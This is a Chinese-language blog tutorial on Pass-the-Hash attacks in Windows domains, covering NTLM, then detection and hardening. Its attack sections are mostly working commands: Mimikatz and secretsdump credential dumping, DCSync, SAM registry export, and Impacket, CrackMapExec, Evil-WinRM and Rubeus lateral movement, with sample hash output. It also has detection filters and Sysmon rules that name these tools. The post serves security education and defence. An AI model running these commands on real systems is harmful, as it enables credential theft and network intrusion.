內網 Pass-the-Hash 攻擊與防禦

Pass-the-Hash Attack and Defense in Active Directory

前言

在企業內網滲透測試中,Pass-the-Hash(PtH)攻擊是一種極為強大且常見的橫向移動技術。攻擊者無需知道使用者的明文密碼,僅需取得密碼的 NTLM 雜湊值,即可模擬該使用者的身份進行認證。本文將深入探討 Pass-the-Hash 攻擊的原理、實作方法、偵測技術及防禦策略。


1. Pass-the-Hash 攻擊原理

什麼是 Pass-the-Hash?

Pass-the-Hash(PtH)是一種針對 Windows NTLM 認證機制的攻擊技術。在 NTLM 認證過程中,系統使用密碼的雜湊值(而非明文密碼)來驗證使用者身份。攻擊者若能取得這些雜湊值,便可直接使用它們來進行認證,完全繞過需要明文密碼的限制。

攻擊流程

1
2
3
4
1. 攻擊者入侵一台主機,取得本地管理員權限
2. 從記憶體或 SAM 資料庫中提取 NTLM 雜湊值
3. 使用雜湊值對其他系統進行認證
4. 成功存取目標系統資源

為什麼 PtH 攻擊有效?

NTLM 認證的設計本身就存在這個「特性」:

  • 認證過程中傳遞的是雜湊值的衍生資料,而非明文密碼
  • 系統不會驗證雜湊值是如何取得的
  • 相同的雜湊值可以在多個系統上重複使用

2. NTLM 認證機制

NTLM 認證流程

NTLM(NT LAN Manager)是 Windows 網路環境中的一種挑戰-回應(Challenge-Response)認證協定。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
┌─────────┐                              ┌─────────┐
│  Client │                              │  Server │
└────┬────┘                              └────┬────┘
     │                                        │
     │  1. NEGOTIATE_MESSAGE                  │
     │ ─────────────────────────────────────► │
     │                                        │
     │  2. CHALLENGE_MESSAGE (8-byte nonce)   │
     │ ◄───────────────────────────────────── │
     │                                        │
     │  3. AUTHENTICATE_MESSAGE               │
     │    (Response = NTLM_Hash + Challenge)  │
     │ ─────────────────────────────────────► │
     │                                        │
     │  4. 驗證成功/失敗                       │
     │ ◄───────────────────────────────────── │

NTLM 雜湊計算

NTLM 雜湊值的計算方式如下:

1
NTLM Hash = MD4(UTF-16-LE(password))

例如,密碼 “Password123” 的 NTLM 雜湊值:

1
Password123 → 58a478135a93ac3bf058a5ea0e8fdb71

NTLMv1 vs NTLMv2

特性NTLMv1NTLMv2
Challenge 長度8 bytes8 bytes (Server) + 8 bytes (Client)
加密演算法DESHMAC-MD5
安全性較弱,容易被暴力破解較強,包含時間戳記
向下相容

3. 雜湊值取得方法

3.1 使用 Mimikatz

Mimikatz 是最知名的 Windows 憑證提取工具,由 Benjamin Delpy 開發。

從記憶體提取雜湊

1
2
3
4
5
6
7
8
9
# 提升權限到 SYSTEM
mimikatz # privilege::debug
mimikatz # token::elevate

# 提取所有登入使用者的雜湊值
mimikatz # sekurlsa::logonpasswords

# 僅提取 NTLM 雜湊
mimikatz # sekurlsa::msv

輸出範例:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
Authentication Id : 0 ; 996 (00000000:000003e4)
Session           : Service from 0
User Name         : Administrator
Domain            : CORP
Logon Server      : DC01
Logon Time        : 2025/5/23 上午 09:15:32
SID               : S-1-5-21-1234567890-123456789-1234567890-500
        msv :
         [00000003] Primary
         * Username : Administrator
         * Domain   : CORP
         * NTLM     : 32ed87bdb5fdc5e9cba88547376818d4
         * SHA1     : a3d4e2c2f4b5e6d7c8b9a0f1e2d3c4b5a6f7e8d9

從 SAM 資料庫提取

1
2
3
4
5
6
# 備份 SAM 和 SYSTEM 登錄檔
reg save HKLM\SAM C:\temp\sam
reg save HKLM\SYSTEM C:\temp\system

# 使用 Mimikatz 解析
mimikatz # lsadump::sam /sam:C:\temp\sam /system:C:\temp\system

從 Domain Controller 提取

1
2
# DCSync 攻擊 - 模擬網域控制站複寫
mimikatz # lsadump::dcsync /domain:corp.local /user:Administrator

3.2 使用 Impacket secretsdump

secretsdump.py 是 Impacket 套件中的強大工具,支援遠端提取雜湊。

遠端提取(需要管理員權限)

1
2
3
4
5
6
7
8
# 使用密碼認證
secretsdump.py corp.local/admin:Password123@192.168.1.100

# 使用雜湊認證(Pass-the-Hash)
secretsdump.py -hashes :32ed87bdb5fdc5e9cba88547376818d4 corp.local/admin@192.168.1.100

# 從本地 SAM 檔案提取
secretsdump.py -sam sam -system system LOCAL

輸出範例

1
2
3
4
5
[*] Target system bootKey: 0x1234567890abcdef1234567890abcdef
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

3.3 其他取得方法

使用 CrackMapExec

1
2
3
4
5
6
7
8
# 提取 SAM 雜湊
crackmapexec smb 192.168.1.100 -u admin -p Password123 --sam

# 提取 LSA secrets
crackmapexec smb 192.168.1.100 -u admin -p Password123 --lsa

# 提取 NTDS.dit(Domain Controller)
crackmapexec smb 192.168.1.100 -u admin -p Password123 --ntds

使用 PowerShell Empire

1
2
3
# 載入 Mimikatz 模組
usemodule credentials/mimikatz/logonpasswords
execute

4. 使用工具進行 PtH 攻擊

4.1 Mimikatz Pass-the-Hash

1
2
3
4
5
# 使用 sekurlsa::pth 模組
mimikatz # sekurlsa::pth /user:Administrator /domain:corp.local /ntlm:32ed87bdb5fdc5e9cba88547376818d4

# 指定要執行的程式
mimikatz # sekurlsa::pth /user:Administrator /domain:corp.local /ntlm:32ed87bdb5fdc5e9cba88547376818d4 /run:powershell.exe

4.2 Impacket 工具套件

psexec.py

1
2
3
4
5
# 使用 PtH 取得互動式 shell
psexec.py -hashes :32ed87bdb5fdc5e9cba88547376818d4 corp.local/Administrator@192.168.1.100

# 執行指定命令
psexec.py -hashes :32ed87bdb5fdc5e9cba88547376818d4 corp.local/Administrator@192.168.1.100 "whoami"

wmiexec.py

1
2
# 使用 WMI 進行 PtH
wmiexec.py -hashes :32ed87bdb5fdc5e9cba88547376818d4 corp.local/Administrator@192.168.1.100

smbexec.py

1
2
# 使用 SMB 進行 PtH
smbexec.py -hashes :32ed87bdb5fdc5e9cba88547376818d4 corp.local/Administrator@192.168.1.100

atexec.py

1
2
# 使用排程任務進行 PtH
atexec.py -hashes :32ed87bdb5fdc5e9cba88547376818d4 corp.local/Administrator@192.168.1.100 "whoami"

4.3 CrackMapExec

1
2
3
4
5
6
7
8
# 使用 PtH 執行命令
crackmapexec smb 192.168.1.0/24 -u Administrator -H 32ed87bdb5fdc5e9cba88547376818d4 -x "whoami"

# 使用 PtH 進行 WinRM
crackmapexec winrm 192.168.1.100 -u Administrator -H 32ed87bdb5fdc5e9cba88547376818d4

# 批次掃描並執行
crackmapexec smb targets.txt -u Administrator -H 32ed87bdb5fdc5e9cba88547376818d4 --exec-method smbexec -x "hostname"

4.4 Evil-WinRM

1
2
# 使用 PtH 連接 WinRM
evil-winrm -i 192.168.1.100 -u Administrator -H 32ed87bdb5fdc5e9cba88547376818d4

4.5 xfreerdp(RDP Pass-the-Hash)

1
2
# 需要 Restricted Admin Mode 啟用
xfreerdp /u:Administrator /pth:32ed87bdb5fdc5e9cba88547376818d4 /v:192.168.1.100

5. Pass-the-Ticket 與 Overpass-the-Hash

5.1 Pass-the-Ticket (PtT)

Pass-the-Ticket 攻擊使用 Kerberos 票證(而非 NTLM 雜湊)來進行認證。

匯出現有票證

1
2
3
4
5
# 使用 Mimikatz 匯出所有票證
mimikatz # sekurlsa::tickets /export

# 列出可用票證
mimikatz # kerberos::list

注入票證

1
2
3
4
5
# 注入 .kirbi 票證檔案
mimikatz # kerberos::ptt ticket.kirbi

# 驗證票證注入成功
klist

使用 Rubeus

1
2
3
4
5
6
7
8
# 匯出所有票證
Rubeus.exe dump

# 注入票證
Rubeus.exe ptt /ticket:base64_encoded_ticket

# 從記憶體提取並注入
Rubeus.exe triage

5.2 Overpass-the-Hash (Pass-the-Key)

Overpass-the-Hash 是使用 NTLM 雜湊來請求 Kerberos 票證的技術,結合了 PtH 和 PtT 的優點。

使用 Mimikatz

1
2
3
4
5
# 使用 NTLM 雜湊請求 TGT
mimikatz # sekurlsa::pth /user:Administrator /domain:corp.local /ntlm:32ed87bdb5fdc5e9cba88547376818d4 /run:powershell.exe

# 在新的 PowerShell 視窗中
klist  # 會看到新的 Kerberos 票證

使用 Rubeus

1
2
3
4
5
# 使用 NTLM 雜湊請求 TGT
Rubeus.exe asktgt /user:Administrator /domain:corp.local /rc4:32ed87bdb5fdc5e9cba88547376818d4

# 請求 TGT 並注入
Rubeus.exe asktgt /user:Administrator /domain:corp.local /rc4:32ed87bdb5fdc5e9cba88547376818d4 /ptt

使用 Impacket getTGT

1
2
3
4
5
6
7
8
# 使用 NTLM 雜湊取得 TGT
getTGT.py -hashes :32ed87bdb5fdc5e9cba88547376818d4 corp.local/Administrator

# 設定 KRB5CCNAME 環境變數
export KRB5CCNAME=Administrator.ccache

# 使用 Kerberos 票證進行認證
psexec.py -k -no-pass corp.local/Administrator@dc01.corp.local

5.3 攻擊技術比較

技術認證協定所需憑證優點缺點
Pass-the-HashNTLMNTLM Hash簡單直接受限於 NTLM 限制策略
Pass-the-TicketKerberosTGT/TGS更隱蔽票證有時效性
Overpass-the-HashKerberosNTLM Hash結合兩者優點需要 DC 可達

6. 偵測方法與日誌分析

6.1 Windows 安全性日誌事件

重要的 Event ID

Event ID說明關注重點
4624成功登入Type 3 (Network) + NTLM 認證
4625登入失敗大量失敗可能表示暴力破解
4648使用明確憑證登入可能的憑證竊取
4672特權使用者登入監控管理員帳號
4776NTLM 認證驗證 NTLM 使用情況

分析 4624 事件

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
<Event>
  <EventData>
    <Data Name="TargetUserName">Administrator</Data>
    <Data Name="TargetDomainName">CORP</Data>
    <Data Name="LogonType">3</Data>
    <Data Name="AuthenticationPackageName">NTLM</Data>
    <Data Name="LmPackageName">NTLM V2</Data>
    <Data Name="KeyLength">0</Data>
    <Data Name="WorkstationName">ATTACKER-PC</Data>
    <Data Name="IpAddress">192.168.1.200</Data>
  </EventData>
</Event>

可疑指標

  • LogonType 為 3(Network)且使用 NTLM
  • WorkstationName 與來源 IP 不匹配
  • 異常的登入時間或來源

6.2 PowerShell 偵測腳本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
# 搜尋可疑的 NTLM 登入
Get-WinEvent -FilterHashtable @{
    LogName = 'Security'
    Id = 4624
} | Where-Object {
    $_.Properties[8].Value -eq 3 -and          # LogonType = 3
    $_.Properties[14].Value -like "*NTLM*"     # NTLM 認證
} | Select-Object TimeCreated,
    @{N='User';E={$_.Properties[5].Value}},
    @{N='Source';E={$_.Properties[18].Value}},
    @{N='WorkstationName';E={$_.Properties[11].Value}}
1
2
3
4
5
6
7
# 偵測 Mimikatz 執行
Get-WinEvent -FilterHashtable @{
    LogName = 'Security'
    Id = 4688    # 程序建立
} | Where-Object {
    $_.Properties[5].Value -match "mimikatz|sekurlsa|lsadump"
}

6.3 Sysmon 事件監控

Sysmon 配置建議:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
<Sysmon schemaversion="4.50">
  <EventFiltering>
    <!-- 監控 LSASS 存取 -->
    <ProcessAccess onmatch="include">
      <TargetImage condition="is">C:\Windows\System32\lsass.exe</TargetImage>
    </ProcessAccess>

    <!-- 監控可疑程序 -->
    <ProcessCreate onmatch="include">
      <Image condition="contains any">mimikatz;procdump;sekurlsa</Image>
    </ProcessCreate>

    <!-- 監控 PowerShell 遠端執行 -->
    <ProcessCreate onmatch="include">
      <CommandLine condition="contains">-enc</CommandLine>
      <ParentImage condition="is">C:\Windows\System32\wsmprovhost.exe</ParentImage>
    </ProcessCreate>
  </EventFiltering>
</Sysmon>

6.4 網路層面偵測

使用 Zeek (Bro) 分析 NTLM 流量

1
2
3
4
5
6
7
8
9
event ntlm_challenge(c: connection, challenge: NTLM::Challenge)
{
    if (c$id$resp_h !in known_servers)
    {
        NOTICE([$note=NTLM::Suspicious_Auth,
                $msg=fmt("NTLM auth to unknown server: %s", c$id$resp_h),
                $conn=c]);
    }
}

監控 SMB 連線

1
2
3
4
5
# 使用 tcpdump 擷取 SMB 流量
tcpdump -i eth0 -w smb.pcap port 445

# 使用 tshark 分析 NTLM
tshark -r smb.pcap -Y "ntlmssp" -T fields -e ip.src -e ip.dst -e ntlmssp.auth.username

7. 防禦措施與最佳實務

7.1 帳號管理

限制特權帳號使用

1
2
3
4
5
6
7
8
# 建立專用的特權存取工作站 (PAW)
# 僅允許管理員帳號從特定電腦登入

# 設定 GPO:「拒絕從網路存取這台電腦」
# 路徑:Computer Configuration > Policies > Windows Settings >
#       Security Settings > Local Policies > User Rights Assignment

# 將 Domain Admins 新增至限制清單

實施最小權限原則

1
2
3
4
# 使用群組受管理的服務帳戶 (gMSA)
New-ADServiceAccount -Name "svc_webapp" `
    -DNSHostName "svc_webapp.corp.local" `
    -PrincipalsAllowedToRetrieveManagedPassword "WebServers"

7.2 NTLM 限制策略

限制 NTLM 使用

1
2
3
4
5
6
7
# GPO 路徑:Computer Configuration > Policies > Windows Settings >
#           Security Settings > Local Policies > Security Options

# 設定項目:
# - Network security: Restrict NTLM: Audit NTLM authentication in this domain
# - Network security: Restrict NTLM: NTLM authentication in this domain
# - Network security: Restrict NTLM: Outgoing NTLM traffic to remote servers
1
2
3
4
5
# 稽核 NTLM 使用情況
# 事件記錄位置:Applications and Services Logs > Microsoft > Windows > NTLM > Operational
Get-WinEvent -LogName "Microsoft-Windows-NTLM/Operational" |
    Select-Object TimeCreated, Message |
    Format-Table -Wrap

7.3 Protected Users 群組

將重要帳號加入 Protected Users 群組可以:

  • 強制使用 Kerberos 認證
  • 禁用 NTLM 認證
  • 禁用 DES 和 RC4 加密
  • 禁用委派
  • TGT 有效期限為 4 小時
1
2
3
4
5
# 將使用者加入 Protected Users 群組
Add-ADGroupMember -Identity "Protected Users" -Members "AdminAccount"

# 驗證成員
Get-ADGroupMember -Identity "Protected Users"

7.4 本地管理員密碼解決方案 (LAPS)

LAPS 可自動管理本地管理員密碼,防止密碼重複使用。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
# 安裝 LAPS
# 下載並安裝 LAPS.x64.msi

# 延伸 AD Schema
Import-Module AdmPwd.PS
Update-AdmPwdADSchema

# 設定權限
Set-AdmPwdComputerSelfPermission -OrgUnit "OU=Workstations,DC=corp,DC=local"

# 設定可讀取密碼的群組
Set-AdmPwdReadPasswordPermission -OrgUnit "OU=Workstations,DC=corp,DC=local" -AllowedPrincipals "HelpDesk"

7.5 網路區隔

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
┌──────────────────────────────────────────────────────────┐
│                      企業網路架構                         │
├─────────────────┬─────────────────┬─────────────────────┤
│   使用者區域      │    伺服器區域     │   管理區域          │
│   (VLAN 10)      │    (VLAN 20)     │   (VLAN 100)       │
│                  │                  │                     │
│  ┌─────────┐    │  ┌─────────┐    │  ┌─────────┐        │
│  │ 工作站   │    │  │ 應用程式 │    │  │   PAW   │        │
│  └─────────┘    │  │  伺服器  │    │  └─────────┘        │
│                  │  └─────────┘    │                     │
│                  │                  │  ┌─────────┐        │
│                  │  ┌─────────┐    │  │   DC    │        │
│                  │  │  檔案    │    │  └─────────┘        │
│                  │  │  伺服器  │    │                     │
│                  │  └─────────┘    │                     │
└─────────────────┴─────────────────┴─────────────────────┘
                    ┌─────┴─────┐
                    │  防火牆    │
                    │  規則限制  │
                    └───────────┘

7.6 其他防禦措施

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
# 1. 禁用 WDigest 明文密碼儲存
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f

# 2. 啟用 LSA 保護
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v RunAsPPL /t REG_DWORD /d 1 /f

# 3. 禁用除錯權限(防止 Mimikatz)
# GPO:Computer Configuration > Windows Settings > Security Settings >
#      Local Policies > User Rights Assignment > Debug programs
# 移除所有使用者/群組

# 4. 啟用 SMB 簽章
reg add HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters /v RequireSecuritySignature /t REG_DWORD /d 1 /f
reg add HKLM\SYSTEM\CurrentControlSet\Services\LanmanWorkstation\Parameters /v RequireSecuritySignature /t REG_DWORD /d 1 /f

8. Windows Credential Guard

什麼是 Credential Guard?

Windows Credential Guard 是 Windows 10/11 Enterprise 和 Windows Server 2016+ 的進階安全功能。它使用虛擬化技術(VBS - Virtualization-Based Security)將 NTLM 雜湊值和 Kerberos 票證隔離在受保護的記憶體區域中,即使攻擊者取得 SYSTEM 權限,也無法提取這些憑證。

運作原理

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
┌─────────────────────────────────────────────────────────┐
│                     Normal World (VTL 0)                │
│  ┌─────────────────────────────────────────────────┐   │
│  │                 Windows OS                       │   │
│  │  ┌─────────┐  ┌─────────┐  ┌─────────────────┐ │   │
│  │  │  Apps   │  │ Kernel  │  │ LSA (Stub)      │ │   │
│  │  └─────────┘  └─────────┘  └────────┬────────┘ │   │
│  └─────────────────────────────────────┼───────────┘   │
│                                        │               │
├────────────────────────────────────────┼───────────────┤
│                     Secure World (VTL 1)               │
│  ┌─────────────────────────────────────┼───────────┐   │
│  │            Isolated LSA (LSAIso)    │           │   │
│  │  ┌──────────────────────────────────┴────────┐ │   │
│  │  │     Protected Credentials Storage         │ │   │
│  │  │  • NTLM Hashes                            │ │   │
│  │  │  • Kerberos TGT/Session Keys              │ │   │
│  │  │  • Derived Credentials                    │ │   │
│  │  └───────────────────────────────────────────┘ │   │
│  └─────────────────────────────────────────────────┘   │
│                                                         │
│                      Hyper-V Hypervisor                 │
└─────────────────────────────────────────────────────────┘

系統需求

  • 硬體需求

    • 64 位元 CPU
    • UEFI 韌體
    • 虛擬化擴充(Intel VT-x 或 AMD-V)
    • SLAT(Second Level Address Translation)
    • TPM(建議 2.0)
    • Secure Boot
  • 軟體需求

    • Windows 10/11 Enterprise/Education
    • Windows Server 2016/2019/2022

啟用 Credential Guard

方法一:群組原則

1
2
3
4
5
6
電腦設定 > 系統管理範本 > 系統 > Device Guard
> 開啟虛擬化型安全性

設定:
- 選取平台安全性等級:安全開機和 DMA 保護
- Credential Guard 設定:使用 UEFI 鎖定啟用

方法二:登錄編輯程式

1
2
3
4
5
6
7
8
# 啟用虛擬化型安全性
reg add "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard" /v EnableVirtualizationBasedSecurity /t REG_DWORD /d 1 /f

# 啟用 Credential Guard
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v LsaCfgFlags /t REG_DWORD /d 1 /f

# 需要重新開機
shutdown /r /t 0

方法三:PowerShell (Windows 10 1607+)

1
2
3
4
# 使用 DG Readiness Tool
# 下載:https://www.microsoft.com/download/details.aspx?id=53337

.\DG_Readiness_Tool_v3.6.ps1 -Enable -AutoReboot

驗證 Credential Guard 狀態

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
# 使用系統資訊
msinfo32.exe
# 查看「Credential Guard」和「虛擬化型安全性」狀態

# 使用 PowerShell
Get-CimInstance -ClassName Win32_DeviceGuard -Namespace root\Microsoft\Windows\DeviceGuard

# 使用登錄編輯程式檢查
Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\DeviceGuard" -Name "SecurityServicesRunning"
# 值包含 1 表示 Credential Guard 正在執行

Credential Guard 的限制

雖然 Credential Guard 大幅提升了安全性,但仍有一些限制:

  1. 無法保護的項目

    • 本地帳號(SAM 資料庫中的雜湊)
    • Microsoft 帳號
    • Active Directory 服務帳號
  2. 相容性問題

    • 不支援 NTLMv1
    • 不支援 MS-CHAPv2
    • 不支援 Digest 認證
    • 不支援 CredSSP 的 Kerberos 不受約束委派
  3. 虛擬環境

    • 需要巢狀虛擬化支援
    • 可能影響效能

完整防禦架構

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
# 建議的完整防禦組合:

# 1. 啟用 Credential Guard
# 2. 啟用 LSA 保護
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v RunAsPPL /t REG_DWORD /d 1 /f

# 3. 禁用 WDigest
reg add "HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest" /v UseLogonCredential /t REG_DWORD /d 0 /f

# 4. 使用 Protected Users 群組
Add-ADGroupMember -Identity "Protected Users" -Members "AdminUser"

# 5. 部署 LAPS
# 6. 實施網路區隔
# 7. 啟用進階稽核

總結

Pass-the-Hash 攻擊是內網滲透中最常見且有效的橫向移動技術之一。了解其原理和攻擊方法對於藍隊防禦和紅隊測試都至關重要。

關鍵要點

攻擊方面

  • NTLM 雜湊可從多種來源取得(記憶體、SAM、NTDS.dit)
  • 多種工具可執行 PtH 攻擊(Mimikatz、Impacket、CrackMapExec)
  • Pass-the-Ticket 和 Overpass-the-Hash 提供更隱蔽的攻擊方式

防禦方面

  • 實施最小權限原則和特權存取管理
  • 使用 Windows Credential Guard 保護憑證
  • 限制 NTLM 使用,優先採用 Kerberos
  • 部署 LAPS 管理本地管理員密碼
  • 建立完善的監控和稽核機制
  • 將重要帳號加入 Protected Users 群組

參考資源


本文僅供教育和授權的安全測試用途。未經授權對系統進行攻擊是違法行為。

comments powered by Disqus
Built with Hugo
Theme Stack designed by Jimmy